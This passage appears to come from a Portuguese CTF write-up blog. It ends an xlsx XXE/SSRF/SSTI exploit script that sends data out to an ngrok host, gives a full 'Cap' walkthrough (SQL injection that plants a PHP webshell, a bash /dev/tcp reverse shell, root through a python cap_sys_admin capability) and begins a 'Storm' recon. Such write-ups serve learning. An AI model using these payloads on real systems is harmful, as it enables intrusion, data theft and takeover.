CN,\x03\x89\xfd\xadm3\xc0\x8c\x98\x03f\x80\xa1\xc00\xa5[\x10\x99\x99E\x92\xed\x94\x8a\xcd\x8cr#}\xd3\xae\xdd`o\xd4;\x11\x8d\xdfX\xfcl\x94=\xde\xc7){>X\xc1s\xfa\xa5NQJ\xd9,p\x8ap\xff\xc1\xb2\xa6\x8bg\xf1\x1e\x81\x93\xe4\xac\xaa9\xabj\xfe\x8fUM\xd1^>\xabe\xcej\x99\xb3Z\xe6\xa3\xd52\xeb\xf2\xc5\xce\xdf\xf2\xa4Z\xa2\xc2+\x9f\x11el_\xcd\x19\xd9\x91i\xe1#a\xef\x0f\xfb\xd0\x996R\xa1\xd5\r\xd34\x84\xc7\xc5t\x1an,p\xfa\x8c\x04W_P\x15\xee\x87x\n\xd3\x94\xd3\x19\xc6r\xa1z,\xd1\x94K(\x9d\xacB\xddi\xe95\x8bv\xf90\xeb-\x97\x97\x97\x9a \x80\xd5\xba\x1fJ\xafe?\x14j*\xeb\xad\xd5\xd7\xb7w+\xf5ik,\xf3\x04\xbcT\xe9\xdb\x93\xc8M\xa6\x93\xa8\x1aH\xd4\xaboG\xa2\xec\x9c\x16\x8b\xa6\x81E\xa3\xfc:\x16v\xce+p8!\x9c\xdc\x88{n\xc6\x08\xc2\rBz\x98\xf8)\x93_z\xf7\xd4=]dL}\xd9\x15\xc3\xf2\x9a\xee\xa9yZ#\x91\x0b7\x9dD.\x0cC8<6\xbbO\xd9\xd7\xcd\xa6\xd9\xd5\x15#\x8dz\xe3C\xf8\xda\xde\xce\r,\xd6[\xe8\x08\xf6\\\xd5\x035\x01\x9e\xb6\xac\x11\xfc\xd3\x04\x8f\xd1\x14\xf4\xc9$Sa6\x8e[V\xa0\x16\x86~\x97\xcc2\x15Ru\xb1\x0c3X:\x94\xad?\xa2\x8a\x08\xc4h\x04\xb1\x9ew\x03\x8b\xd7\xdc\xca\x95\xba\xf3\xe9\x92k:\x9f\x9e\xe5\xecM'\x93\xd1\x88\x04\xaa\xa0g\xdd\x84\xb1L\x89q\xf4=\xc1I\x83\xcf\x80\xf4~8<B\x07l&na0\x94W/'\x06\x1cR\xa9V\xd6\x1cR\x91\x0b\xee\xb5\x157\xd2\xd5b+j/[\xd6[\x14\xb3i\x88\x17'J>\x99g\xf0\xf4yE'\xb7\x8e\x94\xe9\xe6\xaal\x93\t\x0f\xc6\xfd\xd38u\xdf,\xb4\x914\x0b\x0e\x90za\x16\xfbp\x87|\x8eU\xd5\xcc\xca3\xe6\xbaf\xc3y\xfd)\xf1\xfe\x07B\x8eZ\xc3L\xadj\xa6Vtv\x9cbA\x90\x9b\xaeV`\xb7J\xa17\xdf\xf34\xd8\x8cZ;WW\xa6\xad\xad\xb7\xda\xfc\xe0\x1eD~\x17\xaa\xd5\x19S2\xbb\x1c;\x86\xf2\xdb_\xbe\x8f\xcc2A\xda\xbb\xcc.\xc7\n\xcd\x04mY\xf7\x1d\xaf\xed\xfa\x15\xcf/9\r\xafWr\xab\xaeSjx\xedj\xa9\xedy\xd5r\xcf+;\xddN\xe5\x01\x18E\x85Q\xd9\xcb\xe6\xee\xc3?\xfbl\xbexm\x9f\xf6o\xbd\xba\x8f\x96\xa5\xf6\xb9\x80G6O\xeb`;\x15N_\xdd\x97+\xda\xab\xfb\xacNF\x83d\xdcB\x14,s\xbfV\xe97\xab\xcdN\xad\xd4\xac\xb6\xfb%\xb7\xdbi\x94\x9a~\xadS\xea\xd6\xfcz\xb7\xdf\xf5\xbdF\xb3\xff\xc0B\x87)\xd8mW}\xb7\xd6k\x94je\xdf/\xb95'\xa1\xdfh\x96\xean\xa5\xd2v\xeb\xedF\xcfm?X\xd8\x1aV\xbe\xfc]\x9a7\xe5u\xf1_PK\x03\x04\x14\x00\x00\x00\x08\x00\xb3uOS\xc6\xd2\xda4\xc8\x03\x00\x00\x08\t\x00\x00\x0f\x00\x1c\x00xl/workbook.xmlUT\t\x00\x03B\xbeiaH\xbeiaux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00\xadUmO\xe38\x10\xfe~\xd2\xfd\x87l$\xee[\x9a8om\x03\xed\x8a\xbc\xe9*A\xa9 \x0b\x8b\x8e\x13r\x13\xb7\xb5\x9a\xc49\xc7\x81\xa2\x15\xff\xfd\xc6\xa1i\xe1\xe0C\x97\xdb\xa8\xb53\xf6\xe4\xf133\xcf$'_7E\xae<\x10^SV\x8eT\xd43T\x85\x94)\xcbh\xb9\x1c\xa9\xdf\x92X\x1b\xa8J-p\x99\xe1\x9c\x95d\xa4>\x91Z\xfd:\xfe\xfd\xb7\x93/\xe1E\x90\xdc\xce\"\x05\xcf\x95\xbfN\xbeDg\xd1y4M\xa4u:\xbdU\xc6\xb02M&\xc9\xadr\xa4\xd4\x95ru{\x95D\xe7\x8a\xba\x12\xa2\xf2t=E\x04kh0\xd4\x90ih}S3\xcd~\xaf\\r\xb6\xeeQ\xa6\xcf\xe9\x925u/\x13\x99:>\xaa\xab\xe3\xa3\ns\\\xa0\xe3\xbf\xe5\xa9x>\xfe\x83l\x164?>\xd1\xe1\x1eV\x1e\x19_\xcf\x19[+\x10HY\x8f\xba#\xeatE\n\\\xf7XEJ\xd8Y0^`\x01&_\xeau\xc5\t\xce\xea\x15!\xa2\xc8u\xd30\\\xbd\xc0\xb4T_\x10<~\x08\x06[,hJB\x966\x05)\xc5\x0b\x08'9\x16\x90\xc6zE\xab\xbaC+\xd2C\xe0\n\xcc\xd7M\xa5\xa5\xac\xa8\x00bNs*\x9eZPU)Ro\xb2,\x19\xc7\xf3\x1c\xd2\xbfA\x8e\xb2\xe1\xf0s\xe1\x8f\x0c\x18\xcc\xee$\xd8zwTAS\xcej\xb6\x10=\x80\xde\x92~\x17?2t\x84\xde\xa4`\xf3>\x07\x87!\xd9\x90\x84\x07*\xb5\xb4\x87r?\x89\xe5\xee\xb0\xdc=\x182\xfe7\x1a2\xf6p\xe6'\xd1\x9c\x1d\x9a\xa9\x8e[email protected]\x8e\xe4\xfa\xa5\x85\x14\\US\\\xc8J\xe5\xaa\x92\xe3ZD\x19\x15$\x1b\xa9}0\xd9#y\xb3\xc0\x9b\xcaoh\x0e\x86i\r\x0c\xa4\xea\xe3\x9d\x9cg\\\xc9\xc8\x027\xb9H\x80X\x07\x0f\x1d\xea\xbaC\xd3\x91\x9e \x8c\xd3\\\x10^bA\x02V\n\xd0\xe1/\xd2\\\x8b\x1d\xac\x18\x84\xae\\\x92\x1a\xcaI\xddJ\x0fv`\xc4\xa9\x87\xe7\xf5\x0c\x8b\x95\xd2\xf0|\xa4\x06\xde\xdd\xb7\x1a\xf8\xdd=\xd0\x92\xa6\x14z\xb7\"\x9cP\x8e\xefBR\xaf\x05\xab\xee\xa2\xef\xb3\xb3\x8bIr\x1fF\xf1d:I&\xd7\x17w\xafT\x8b\xdf\xd3\xfd\t\xdd\xe2T&C\xdf1~\xb9\xffof\x808\xf7\xba\x9a\xcd\x04W\xe0~\x12\x9eA}\xae\xf0\x03T\x0b4\x91m\x9by\x02\xe5@\xd6}\x99r\x0f\xdd\xff0\x1c\xdf4\x02\xdb\xd4\x9c045\xdb\xb7Lm\xe0;\x8e\x16\x04\xb1m\x04\x83x`[\xfdgU6\xa4\x972\xdc\x88\xd5\xb6R\x12z\xa4\xda\xee\x07[\xe7x\xd3\xed \xc3kh\xb6\xa7\xf1\xc3\xd8^\xda\x07Cw=\xcb\x80\xa5F\xae)y\xac\xf7\x92\x91\xa6\xb2\xb9\xa1e\xc6\x1eG\xaa|\xb7\xaa\xca\xd3[\xf3\xb1\xb5nh&V\xa09\xa3o\xed\xd6\xfe$t\xb9\x02\xc6\x08Ym\x83pS2\x03Fn`Z\x10z\xa0\xb9qdiv\x10\xd8\xda\xd0uC\xcd\x0fm\xcb\xb1\x87\x8e\x11\x0e\xcd\x96\x91\xfe\x8aR[\xa4nV\xca\xb6!f9.i\xbe\xc2\x08>(r\xb9\xcd3\xf4\x80'\x8f\xe1\x93\xac\x95\xbf\xde=\x99\xe2<\x85\x1e\x90S\xeb8D\x869\x94\x1ed#\xcej\xd1\xce ?\n\x0c\x91m\x9c\xf6\x8d\xa1\xad\x19\x91\xe5h\xf6`\x08%\xb2\xa1N\x81\x1d\x9a\x91\xd3\x8f\xc2\xc8w\x9e\xe5[\xb2\xed\x02\xefU\xa7\xa6+\xccE\xc2q\xba\x86\xcf\xe6%Y\xf8\xb8&28\x19\x10\xf0|M\xd6w\x06\xbea\x01E;F\xb1f\xa3\xa1\xa1\xf9\xbek\x83\xbcb\xcb\xe9\xa30\x88\x9cxOV\x86\xbf\xf8$\xdf\x81\xde>M\xb0h\xa0%\xe9\xd6\xf6\xe4\x18oWw\x8b[\xb7m\xa9\xde\x1c\xe0]\x862\x90\x03\x1c\xaf \xfa\x9c\x1c\xe8\x1c_\x1f\xe8\x18L\xcf\x93\xf3\x03}\xcf\xa2\xe4\xfe&n\xf3\xfea\xb4/\xd5\xd0;\r\xe9]\r\xc7\xff\x02PK\x03\x04\n\x00\x00\x00\x00\x00[nOS\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0e\x00\x1c\x00xl/worksheets/UT\t\x00\x03m\xb1ia[\xbeiaux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00PK\x03\x04\x14\x00\x00\x00\x08\x00\x00\x00!\x00E\xb6j\xbc\x11\x02\x00\x00\x81\x04\x00\x00\x18\x00\x1c\x00xl/worksheets/sheet1.xmlUT\t\x00\x030\xd0\xce\x12\x86\xb1iaux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00\x9d\x94\xdb\x8e\xda0\x10\x86\xef+\xf5\x1d,\xdfC\xe2\x1c \xa0$+\n\x8b\xcaE\xa5\xaa\xa7{\xe3L\x88E\x12\xa7\xb69\xa9\xea\xbb\xef8\x14v+\x84\x846J\x14g\xc6\xfe\xfe\x19\xcf8\xe9\xd3\xb1\xa9\xc9\x1e\xb4\x91\xaa\xcd(\x1b\xfa\x94@+T!\xdbMF\xfeX\x0e\x12J\x8c\xe5m\xc1k\xd5BFO`\xe8S\xfe\xf1CzPzk*\x00K\x90\xd0\x9a\x8cV\xd6vS\xcf3\xa2\x82\x86\x9b\xa1\xea\xa0EO\xa9t\xc3-~\xea\x8dg:\r\xbc\xe8\x175\xb5\x17\xf8\xfe\xc8k\xb8l\xe9\x990\xd5\x8f0TYJ\x01\x0b%v\r\xb4\xf6\x0c\xd1Ps\x8b\xf1\x9bJv\xe6Bk\xc4#\xb8\x86\xeb\xed\xae\x1b\x08\xd5t\x88X\xcbZ\xdaS\x0f\xa5\xa4\x11\xd3\xd5\xa6U\x9a\xafk\xcc\xfb\xc8\".\xc8Q\xe3\x1d\xe0\x13^dz\xfb\x8dR#\x85VF\x95v\x88\xe41\xdf\xa6?\xf1&\x1e\x17W\xd2m\xfe\x0faX\x84\x1b\xb0\x97\xae\x80\xaf\xa8\xe0\x9d\xac\xf8\xca\n^a\xe1;a\xa3+\xccm\x97\x9e\xeed\x91\xd1?I4Z\xce\xe30\x1a\xcc\xd8\xa7x\x10M&\xc1 \x99\xc5\xf3\xc1\xd8\x0f'\xe1s\x14%\xcf\xd1\xf8/\xcd\xd3Bb\x85\xddb\xa2\xa1\xcc\xe8\x8cQ/O{\xfa/\t\x07\xf3fL,_\x87\x1a\x84\x05\x14`\x94\xb8\xde\\+\xb5u\xce\x15\x9a|\xc4\x99~\x82\xc3q|\xeda\x0eu\x9d\xd1\x15\xc3\xe9\xe6w\xaf\xe0\xc6(\xe1]\xb9o\xc7\x17\xbde\xdf<_5)\xa0\xe4\xbb\xda~S\x87\xcf 7\x95E\xe1\x18\xb3t\xed0-N\x0b0\x02\xfb\x13\xa5\x87A|\r|\xc1-\xcfS\xad\x0eD\xf7q\x9a\x8e\xbb\x93\xc3\xa6\xec\xde\xca<\x15n.&O\xd0d\xf0{\x9f\xfb\xa9\xb7\xc7\xd0\x04>\x88\xba\x04yfw|\x03_\xb8\xde\xc8\xd6\x90\x1a\xca\x1e\x133\x960\xe6\x07\x11%\xfa\x1c\xe96\xab:g\x19'\xe3\x08\xeb?\xc6\x82\xf4\x17\x9e\x80\xb5\xb2V5w\x9c\x15\xd6\x1a\xb4s\x86,\x9a\x8c\xfc\x116\xf4\xf9\xc2\xce)\x95\xb2\xf7\x9cn\x8b\xaf?\x8f\xfc\x05PK\x03\x04\n\x00\x00\x00\x00\x00[nOS\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\t\x00\x1c\x00xl/_rels/UT\t\x00\x03m\xb1ia[\xbeiaux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00PK\x03\x04\x14\x00\x00\x00\x08\x00\x00\x00!\x00\x81>\x94\x97\xec\x00\x00\x00\xba\x02\x00\x00\x1a\x00\x1c\x00xl/_rels/workbook.xml.relsUT\t\x00\x030\xd0\xce\x12\x8c\xb1iaux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00\xadR\xcbj\xc30\x10\xbc\x17\xfa\x0fb\xef\xb5\xec\xb4\x94R\"\xe7\x12\n\xb9\xb6\xee\x07\x08im\x99\xd8\x92\xd0n\x1f\xfe\xfb\xaa\rm\x1c\x08\xa1\x07\x9f\x96\x19\xb13\xa3\xdd]o>\xc7A\xbcc\xa2>x\x05UQ\x82@o\x82\xed}\xa7\xe0\xb5y\xbay\x00A\xac\xbd\xd5C\xf0\xa8`B\x82M}}\xb5~\xc6Asn\"\xd7G\x12Y\xc5\x93\x02\xc7\x1c\x1f\xa5$\xe3p\xd4T\x84\x88>\xbf\xb4!\x8d\x9a3L\x9d\x8c\xda\xecu\x87rU\x96\xf72\xcd5\xa0>\xd1\x14;\xab \xed\xec-\x88f\x8a\xf8\x1f\xed\xd0\xb6\xbd\xc1m0o#z>c!\x89\xa7!@4:u\xc8\n\x0e\xb8\xc8: \xcf\xdb\xaf\x96\xb4\xe7\xdc\x8bG\xf7\x1fx \xabK\x19\xaa%3|\x84\xb4'\x87\xc8\xc7\x1cT\x1e\xd0w\xb9\x18\xe6n\xd1}8\x9d\xd0\xbep\xca\xe76_\xcb\x9c\xfe\r#O.\xae\xfe\x02PK\x01\x02\x1e\x03\x14\x00\x00\x00\x08\x00\x00\x00!\x00b\xee\x9dhO\x01\x00\x00\x90\x04\x00\x00\x13\x00\x18\x00\x00\x00\x00\x00\x01\x00\x00\x00\xff\x81\x00\x00\x00\x00[Content_Types].xmlUT\x05\x00\x030\xd0\xce\x12ux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00PK\x01\x02\x1e\x03\n\x00\x00\x00\x00\x00[nOS\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x18\x00\x00\x00\x00\x00\x00\x00\x10\x00\xffA\x9c\x01\x00\x00_rels/UT\x05\x00\x03m\xb1iaux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00PK\x01\x02\x1e\x03\x14\x00\x00\x00\x08\x00\x00\x00!\x00\xb5U0#\xeb\x00\x00\x00L\x02\x00\x00\x0b\x00\x18\x00\x00\x00\x00\x00\x01\x00\x00\x00\xff\x81\xdc\x01\x00\x00_rels/.relsUT\x05\x00\x030\xd0\xce\x12ux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00PK\x01\x02\x1e\x03\n\x00\x00\x00\x00\x00[nOS\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\t\x00\x18\x00\x00\x00\x00\x00\x00\x00\x10\x00\xffA\x0c\x03\x00\x00docProps/UT\x05\x00\x03m\xb1iaux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00PK\x01\x02\x1e\x03\x14\x00\x00\x00\x08\x00\x00\x00!\x003-\xc0tv\x01\x00\x00\x13\x03\x00\x00\x10\x00\x18\x00\x00\x00\x00\x00\x01\x00\x00\x00\xff\x81O\x03\x00\x00docProps/app.xmlUT\x05\x00\x030\xd0\xce\x12ux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00PK\x01\x02\x1e\x03\x14\x00\x00\x00\x08\x00\x00\x00!\x00/\x99t\xe87\x01\x00\x00q\x02\x00\x00\x11\x00\x18\x00\x00\x00\x00\x00\x01\x00\x00\x00\xff\x81\x0f\x05\x00\x00docProps/core.xmlUT\x05\x00\x030\xd0\xce\x12ux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00PK\x01\x02\x1e\x03\n\x00\x00\x00\x00\x00[nOS\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x18\x00\x00\x00\x00\x00\x00\x00\x10\x00\xffA\x91\x06\x00\x00xl/UT\x05\x00\x03m\xb1iaux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00PK\x01\x02\x1e\x03\x14\x00\x00\x00\x08\x00\x00\x00!\x00\x126\"\xcc\x95\x00\x00\x00\xb2\x00\x00\x00\x14\x00\x18\x00\x00\x00\x00\x00\x01\x00\x00\x00\xff\x81\xce\x06\x00\x00xl/sharedStrings.xmlUT\x05\x00\x030\xd0\xce\x12ux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00PK\x01\x02\x1e\x03\x14\x00\x00\x00\x08\x00\x00\x00!\x00y\xa1\x80l\x8d\x02\x00\x00R\x06\x00\x00\r\x00\x18\x00\x00\x00\x00\x00\x01\x00\x00\x00\xff\x81\xb1\x07\x00\x00xl/styles.xmlUT\x05\x00\x030\xd0\xce\x12ux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00PK\x01\x02\x1e\x03\n\x00\x00\x00\x00\x00[nOS\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\t\x00\x18\x00\x00\x00\x00\x00\x00\x00\x10\x00\xffA\x85\n\x00\x00xl/theme/UT\x05\x00\x03m\xb1iaux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00PK\x01\x02\x1e\x03\x14\x00\x00\x00\x08\x00\x00\x00!\x00h<\x03}\x99\x06\x00\x00\xc8 \x00\x00\x13\x00\x18\x00\x00\x00\x00\x00\x01\x00\x00\x00\xff\x81\xc8\n\x00\x00xl/theme/theme1.xmlUT\x05\x00\x030\xd0\xce\x12ux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00PK\x01\x02\x1e\x03\x14\x00\x00\x00\x08\x00\xb3uOS\xc6\xd2\xda4\xc8\x03\x00\x00\x08\t\x00\x00\x0f\x00\x18\x00\x00\x00\x00\x00\x01\x00\x00\x00\xff\x81\xae\x11\x00\x00xl/workbook.xmlUT\x05\x00\x03B\xbeiaux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00PK\x01\x02\x1e\x03\n\x00\x00\x00\x00\x00[nOS\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0e\x00\x18\x00\x00\x00\x00\x00\x00\x00\x10\x00\xffA\xbf\x15\x00\x00xl/worksheets/UT\x05\x00\x03m\xb1iaux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00PK\x01\x02\x1e\x03\x14\x00\x00\x00\x08\x00\x00\x00!\x00E\xb6j\xbc\x11\x02\x00\x00\x81\x04\x00\x00\x18\x00\x18\x00\x00\x00\x00\x00\x01\x00\x00\x00\xff\x81\x07\x16\x00\x00xl/worksheets/sheet1.xmlUT\x05\x00\x030\xd0\xce\x12ux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00PK\x01\x02\x1e\x03\n\x00\x00\x00\x00\x00[nOS\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\t\x00\x18\x00\x00\x00\x00\x00\x00\x00\x10\x00\xffAj\x18\x00\x00xl/_rels/UT\x05\x00\x03m\xb1iaux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00PK\x01\x02\x1e\x03\x14\x00\x00\x00\x08\x00\x00\x00!\x00\x81>\x94\x97\xec\x00\x00\x00\xba\x02\x00\x00\x1a\x00\x18\x00\x00\x00\x00\x00\x01\x00\x00\x00\xff\x81\xad\x18\x00\x00xl/_rels/workbook.xml.relsUT\x05\x00\x030\xd0\xce\x12ux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00PK\x05\x06\x00\x00\x00\x00\x10\x00\x10\x00F\x05\x00\x00\xed\x19\x00\x00\x00\x00\r\n------WebKitFormBoundaryX8EzGd8nAoSVFtBe--\r\n"
	session.post(burp0_url, headers=burp0_headers, data=burp0_data)

def craft_payload(command):
	command = command.replace('"', '%5Cu0022').replace("'","%5Cu0027").replace(' ',"%20")
	payload = "%5cu0027%2b{Class.forName(%5cu0027javax.script.ScriptEngineManager%5cu0027).newInstance().getEngineByName(%5cu0027JavaScript%5cu0027).%5cu0065val(%5cu0027var+isWin+%3d+java.lang.System.getProperty(%5cu0022os.name%5cu0022).toLowerCase().contains(%5cu0022win%5cu0022)%3b+var+cmd+%3d+new+java.lang.String(%5cu0022"+command+"%5cu0022)%3bvar+p+%3d+new+java.lang.ProcessBuilder()%3b+if(isWin){p.command(%5cu0022cmd.exe%5cu0022,+%5cu0022/c%5cu0022,+cmd)%3b+}+else{p.command(%5cu0022bash%5cu0022,+%5cu0022-c%5cu0022,+cmd)%3b+}p.redirectErrorStream(true)%3b+var+process%3d+p.start()%3b+var+inputStreamReader+%3d+new+java.io.InputStreamReader(process.getInputStream())%3b+var+bufferedReader+%3d+new+java.io.BufferedReader(inputStreamReader)%3b+var+line+%3d+%5cu0022%5cu0022%3b+var+output+%3d+%5cu0022%5cu0022%3b+while((line+%3d+bufferedReader.readLine())+!%3d+null){output+%3d+output+%2b+line+%2b+java.lang.Character.toString(10)%3b+}%5cu0027)}%2b%5cu0027"
	return payload

cmd = sys.argv[1]

dtd = f"""
<!ENTITY % data SYSTEM "http://documentacao:8090/pages/doenterpagevariables.action?queryString={craft_payload(cmd)}">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://xxxxxxx.ngrok.io/?data=%data;'>">
"""
open('bigous.dtd', 'w').write(dtd)
send_file()

Untitled

Untitled

FLAG: LW2021{XXE_SSRF_SSTI_f0r_Sur3_You_Are_The_N3w_0r4ng3}

E é isso, usamos um XXE OOB dentro de um xlsx para explorar um SSRF que explora um SSTI em uma aplicação vulnerável, para conseguir RCE.

Espero que tenham gpostado do write-up, desculpe por não meaprofundar tanto nos XXE (depois de longas horas eu to meio cansado de falar disso kkkkk).

Até breve o/

UHCCTF (Classificatória) - Cap

4 June 2021 at 03:00

Essa máquina foi feita pelo Kadu para a classificatória do UHCv35.

Recon

Iniciando o desafio e pegando a url podemos observar que ele tem uma página um tanto quanto estranha, parece ser uma API, já que retorna um objeto JSON:

/assets/cap/Untitled.png

Vamos então partir direto para o fuzzing, vou rodar a wordlist common.txt e a quiclhits.txt:

common.txt:

/assets/cap/Untitled%201.png

quickhits.txt:

/assets/cap/Untitled%202.png

Achamos um arquivo de backup! Vou baixar e abrir no visual studio code.

/assets/cap/Untitled%203.png

Hora de debugar!

Esse código basicamente é uma tentativa de um tipo de API para interagir com algum tipo de banco de dados, ele pega informações de databases e é capaz de inserir informações também, podemos perceber que ele usa um micro framework chamado Slim. (https://www.slimframework.com/docs/v2/)

Essa parte envolve muito code review, que é inclusive o nome do challenge da primeira flag. Fui testando tudo e lendo os erros (debug mode estava ativo).

Dando uma lida e debugando um pouco podemos perceber que existe uma rota dessa api que faz uma consulta no banco de dados na tabela usuarios.

Rota:

https://cap.uhclabs.com/_ul/uploads/0

Código:

/assets/cap/Untitled%204.png

Basicamente aonde está escrito :controller é aonde vamos inserir o nome do arquivo que contém a classe que vamos usar, no caso vamos ussar o usuarios.class.php, e :parametrer sera o $data que será passado na query da consulta como podemos ver aqui:

/assets/cap/Untitled%205.png

Agora vamos rodar:

Testei alguns ids e no 2 temos a primeira flag hehe:

/assets/cap/Untitled%206.png

Certo, como podemos perceber no código, nossos parâmetros não passam por nenhum tipo de tratamento, obviamente o site está vulnerável a Sql injection.

/assets/cap/Untitled%207.png

Então vamos ver o que podemos fazer aqui.

Exploitation

Sql Injection

Podemos observar que o banco de dados usado é o MariaDB.

Vamos começar tentando mandar querys para a aplicação.

Para demonstrar o que está acontecendo irei mostrar as payloads e como a query está sendo executada no site.

  • A primeira coisa que irei fazer vai ser tentar adicionar um usuário, ja que temos o código sabemos o nome da tabela…
cap.uhclabs.com/_ul/usuarios/1;insert%20into%20usuarios%20(nome)%20values%20('big0us')

Com um Url encode na nossa payload se enviarmos, a query ficará assim:

SELECT * from usuarios where id=1; insert into usuarios (nome) values ('big0us');

Enviando mais algumas vezes podemos ver que nosso usuário já está no banco de dados com a seguinte rota:

cap.uhclabs.com/_ul/usuarios/0
  • No MariaDB existe um comando que possibilita salvar o resultado da query em um arquivo…
  • Lendo o código fonte, podemos abrir arquivos que estiverem no /classes/ apenas enviando um request POST, com o nome do arquivo sem o .classes e sem o .php…

/assets/cap/Untitled%208.png

  • Se pudermos salvar arquivos de consultas de querys em qualquer diretório e podemos escrever e rodar arquivos no servidor, temos tudo para conseguir um RCE. Mas como?
  • (Existem várias formas de fazer isso vou descrever como eu fiz)
  • Já que posso criar um usuário, vou criar um usuário contendo um código php no nome, assim quando eu jogar isso para dentro de um arquivo, será executado… Então vamos as payloads:

URL:

cap.uhclabs.com/_ul/usuarios/1;1%3Bselect%20into%20usuarios%20%28nome%29%20values%20%28%27%3C%3Fphp%20system%28%24%5FGET%5B0%5D%3F%3E%27%29%29

Query:

select into usuarios (nome) values ('<?php system($_GET[0]?>'))

E agora com o usuário criado, vamos fazer uma consulta que retorne o nome do usuário, e salvar isso em um arquivo… (dei o nome de “u”)

URL:

cap.uhclabs.com/_ul/usuarios/1%3Bselect%20%2A%20from%20usuarios%20into%20outfile%20%27%2Fvar%2Fwww%2Fhtml%2Fclasses%2Fu%2Eclass%2Ephp%27

Query:

select * from usuarios into outfile '/var/www/html/classes/u.class.php'

Agora que já montamos nosso arquivo malicioso vamos ao request:

/assets/cap/Untitled%209.png

Agora que temos RCE vamos pegar uma shell.

Pós exploitation

Root Capability

Utilizei uma payload simples encodada em url encode:

bash -c "bash -i >& /dev/tcp/ip/porta 0>&1"

/assets/cap/Untitled%2010.png

Full tty shell
in your shell~ python3 -c 'import pty; pty.spawn("/bin/bash")'
CTRL + Z
in your terminal~ stty raw -echo; fg
ENTER
in your shell~ export TERM=xterm

Indo até o / podemos encontrar nossa flag!

/assets/cap/Untitled%2011.png

Rodando alguns comandos de enumeração logo pude encontrar qual é a vulnerabilidade do priv esc (o linpeas teria achado), o comando que eu rodei para encontra-la é o getcap, que mostra para nós os capabilities que os binários do linux possuem.

Linux Capabilities

/assets/cap/Untitled%2012.png

Podemos ver que o python está com um capability chamado sys_admin, dando uma olhada no hacktricks sobre como explorar isso, podemos ver que existe uma forma de sobrescrevermos o arquivo /etc/passwd adicionando uma senha que nós sabemos para o usuário root.

https://book.hacktricks.xyz/linux-unix/privilege-escalation/linux-capabilities#cap_sys_admin

/assets/cap/Untitled%2013.png

Exploitation:

/assets/cap/Untitled%2014.png

/assets/cap/Untitled%2015.png

/assets/cap/Untitled%2016.png

/assets/cap/Untitled%2017.png

Depois de rodar o exploit damos um:

/assets/cap/Untitled%2018.png

E ai está nossa flag, parabéns kadu pela máquina e obrigado a você que leu até aqui!

UHCCTF (Classificatória) - Storm

3 June 2021 at 03:00

Essa máquina foi feita pelo Kadu para a classificatória do UHCv34.

Recon

A página inicial dessa maquina é apenas uma foto de uma tempestade gigante, e podemos comprovar isso vendo o source code…

/assets/storm/Untitled.png

/assets/storm/Untitled%201.png

Como de costume em todos os recons, vamos fazer um fuzzing em busca de diretórios e arquivos, utilizarei o ffuf com as wordlists “common.txt” e “quickhits.txt”.

common.txt:

/assets/storm/Untitled%202.png

Encontramos duas coisas interessantes, info.php e config.php:

  • info.php: parece que tem um phpinfo() rodando ai…, interessante para pegarmos algumas informações de versão de serviços e software, além de informações sobre a configuração do servidor. (Pesquisei por exploits para os serviços porém nada foi encontrado 😢)

/assets/storm/Untitled%203.png

  • config.php

Ops! (Status code 200, muito estranho, rs)

/assets/storm/Untitled%204.png

quickhits.txt:

/assets/storm/Untitled%205.png

Opa! No meio de vários falsos positivos encontramos um arquivo chamado “.config.php.swp”, parece ser um arquivo de swap do vim (gerado quando se abre um arquivo no vim, no caso o que foi aberto foi o config.php).

/assets/storm/Untitled%206.png

Como podemos ver é o código php do arquivo “config.php”.

Observando com o Ctrl+U (View-Source) podemos ver a primeira flag!

/assets/storm/Untitled%207.png

Parece que teremos de fazer um code review nesse código e entender aquele Access Denided que recebemos no config.php…

Para melhorar nossa visualização vamos tentar recuperar esse arquivo usando o próprio vim:

wget https://storm.uhclabs.com/.config.php.swp #download the file
vim -r .config.php.swp #recover the file

Agora apenas dei enter.

/assets/storm/Untitled%208.png

Lets debug friends!

/assets/storm/Untitled%209.png

(Essa parte do write-up vai exigir o básico de php, tentarei explicar da melhor forma, mas se você não entende muito de php, um aviso, você vai ficar meio doido)

Code Review

Para entender eu recomendo fortemente que você reproduza o ambiente na sua máquina!

Aqui está o motivo de recebermos acesso negado!

/assets/storm/Untitled%2010.png

Eu reproduzi o ambiente localmente, ai vai meu código comentado para entendermos:

(Amigos brasileiros, desculpa por estar em inglês, é para o pessoal poder entender o código)

<?php
//my reproduce script
